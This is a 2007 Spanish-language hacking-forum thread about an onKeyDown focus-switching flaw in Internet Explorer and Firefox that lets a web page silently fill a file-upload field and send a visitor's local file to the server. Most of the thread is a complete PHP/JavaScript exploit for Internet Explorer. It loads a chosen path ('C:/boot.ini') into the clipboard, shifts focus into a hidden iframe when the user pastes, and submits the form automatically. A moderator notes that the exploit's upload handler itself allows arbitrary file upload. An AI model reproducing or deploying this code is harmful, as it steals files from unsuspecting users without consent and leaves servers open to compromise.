elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:50  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown [ACTUALIZADO]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown [ACTUALIZADO]  (Leído 2,545 veces)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown [ACTUALIZADO]
« en: 28 Octubre 2007, 23:59 »

Citar

   MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown
   
     [Descripción]

        HTML, al igual que otros lenguajes, posee una serie de eventos, que pueden ser aplicados a
        diversos elementos, para que inicialicen, cuando se den las condiciones, unas operaciones en
        concreto. OnKeyDown es uno de los tantos eventos existentes, y se inicializa cuando se
        presiona una tecla sobre el elemento en cuestión. Partiendo de esta idea, el fallo que se
        describirá a continuación se basa en lo explicado anteriormente...

        Mediante el evento OnKeyDown es posible cambiar el foco de actividad cuando se presione
        una tecla y volver al elemento inicial sin que el usuario se percate de lo sucedido. De este modo,
        se estarán introduciendo caracteres en campos, aparentemente ocultos.

        Dicho así, el asunto a tratar no parece ser tan peligroso, pero y si el campo sobre el cual el
        usuario está escribiendo, inconscientemente, es del tipo file, o lo que es lo mismo,
        designado para la subida de archivos al servidor. La respuesta es sencilla; que se estará alterando
        la ruta del archivo a subir sin el permiso del usuario.

        Siendo más directos, interactuando con estos eventos, es posible subir cualquier archivo del ordenador
        del usuario al servidor donde se encuentra alojada la página Web.

        En Internet Explorer, mediante el objeto clipboardData y el método setData, es posible
        designar un nuevo valor al portapapeles, así, con tal solo pulsar CTRL + V (pegar) en la ventana activa
        de la página Web, se introducirá la ruta, que asignamos al portapapeles, en el campo tipo file,
        todo esto debido al cambio de foco inicializado cuando se presiono la tecla V. También es posible realizar
        el mismo proceso, tecleando sobre algún elemento, para que así, las teclas presionadas pasen a formar parte
        del valor del campo tipo file.

        En Mozilla Firefox no es posible alterar el valor del portapapeles, y el mecanismo del cambio de foco no
        es directo, siendo así, el cambio de foco sería hacia el ya conocido botón Examinar... y
        no hacia el campo de texto que determina la ruta del archivo. Debido a este pequeño inconveniente es
        necesario hacer uso del atributo for, perteneciente a la etiqueta label, el cual enlaza
        directamente la misma con el elemento que se especificó en el atributo nombrado anteriormente.
      
        Fijando como valor de éste atributo el nombre del campo tipo file, hacemos que cuando se cambie el
        foco de actividad a la etiqueta label se autoredireccionare al campo tipo file, pudiendo así
        alterar la ruta del archivo al teclear sobre otro elemento.
      
        Seguidamente y sin el consentimiento del usuario, se autoenviaría el formulario, acabando con la subida
        del archivo al servidor.
      
     [Versiones no afectadas]
        - Mozilla Firefox 2.0.0.8
      
     [Enlaces]

        - Exploit (MSIE): http://foro.elhacker.net/index.php/topic,186061.msg885464.html#msg885464
        - Prueba del concepto (MSIE && FF): http://ns2.elhacker.net/yeikos/poc/onkeydown/
        - Advisory (FF): http://sla.ckers.org/forum/read.php?3,13142
        - Prueba del concepto (FF): http://yathong.googlepages.com/FirefoxFocusBug.html

« Última modificación: 1 Noviembre 2007, 18:01 por sirdarckcat » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown (file upload)
« Respuesta #1 en: 29 Octubre 2007, 00:21 »

Lo descubrio Hong, este es el advisory original:
http://sla.ckers.org/forum/read.php?3,13142

El PoC de IExplorer no esta ahí y no esta relacionado con el de firefox en absoluto, mas que en el uso del evento.

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown (file upload)
« Respuesta #2 en: 29 Octubre 2007, 16:00 »

Publique el boletín de securityfocus porque en el apartado de referencias se muestran diversas fuentes de interés.

Relacioné los dos fallos por que SÍ lo están, los dos navegadores permiten cambiar el foco de actividad al campo tipo file cuando se presiona una tecla en otro elemento.

Y no publiqué anoche el exploit para IE por que no me dio tiempo...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Mozilla Firefox: Error de diseño en el evento onKeyDown (file upload)
« Respuesta #3 en: 30 Octubre 2007, 02:20 »

Pues eso fue lo que dije "no estan relacionados mas que en el uso del evento", es decir.. "no tienen nada en común mas que el uso del evento", o.. "lo unico que tienen en común es el uso del evento", y dado que dichas vulnerabilidades no son la misma, no pueden estar en el mismo post, para no confundir a los usuarios.

En el apartado de referencias de security focus, no se muestra el advisory original, y a petición del autor (Yat Hong, que es usuario de sla.ckers.org) cambié el link, dado que en securityfocus se le acredita el descubrimiento de la vulnerabilidad a otra persona.. que no hizo nada mas que mandar el mensaje a fulldisclosure.

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown (file upload)
« Respuesta #4 en: 30 Octubre 2007, 16:21 »


Citar

     Exploit Microsoft Internet Explorer


Código
<?php 
 
/* [+] Clipboard FileUpload IE
[-] Original idea by Rudolf van Elmpt
[-] Exploit designed by yeikos (at) gmail (dot) com */

 
$filename = "index.php"; // Nombre del archivo que contiene este código fuente
$upload = "C:/boot.ini"; // Archivo de la máquina, del usuario, a subir al servidor
 
if (!eregi("MSIE", $_SERVER['HTTP_USER_AGENT'])) {
die("Esta página Web solo puede ser visualizada con el navegador Internet Explorer.");
}
switch($_GET['act']) {
case 1:
die('<script>'.
'function fncMain(event) {'.
'if (event.keyCode == 86) {'.
'setTimeout("document.forms[0].submit();",1000);'.
'}'.
'}'.
'</script>'.
'<form method="POST" action="'.$filename.'?act=2" enctype="multipart/form-data">'.
'<input type="file" name="upload" id="upload" OnKeyDown="fncMain(event);">'.
'</form>');
break;
 
case 2:
move_uploaded_file($HTTP_POST_FILES['upload']['tmp_name'], $HTTP_POST_FILES['upload']['name']); die();
break;
}
 
?>
 
<script language="javascript">
window.clipboardData.setData("Text", "<?php echo $upload; ?>");
</script>
 
<!--
[+] Clipboard FileUpload IE Exploit
[-] Original idea by Rudolf van Elmpt
[-] Exploit designed by yeikos (at) gmail (dot) com
-->
 
<body OnKeyDown="document.getElementById('iframe').contentWindow.document.getElementById('upload').focus();">
 
Presione CTRL + V
 
<iframe id="iframe" src="<?php echo $filename; ?>?act=1" width="1" height="1" frameborder="1"></iframe>
 
</body>
En línea
Airle

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown [ACTUALIZADO]
« Respuesta #5 en: 31 Octubre 2007, 06:14 »

gracias yeikos...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: MSIE & Mozilla Firefox: Error de diseño en el evento onKeyDown [ACTUALIZADO]
« Respuesta #6 en: 1 Noviembre 2007, 17:46 »

este código es vulnerable a "Arbitrary File Upload", que a su ves es "Remote Command Execution", entre muchas otras vulnerabilidades consecuencia de las primeras.

Ahh y en firefox si se podría modificar el portapapeles usando flash (http://www.sirdarckcat.net/clipboard.swf)

Saludos!!
« Última modificación: 2 Noviembre 2007, 06:23 por sirdarckcat » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con onKeydown en IE8!
Desarrollo Web
CWeeD 6 1,381 Último mensaje 26 Enero 2011, 22:07
por CWeeD
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines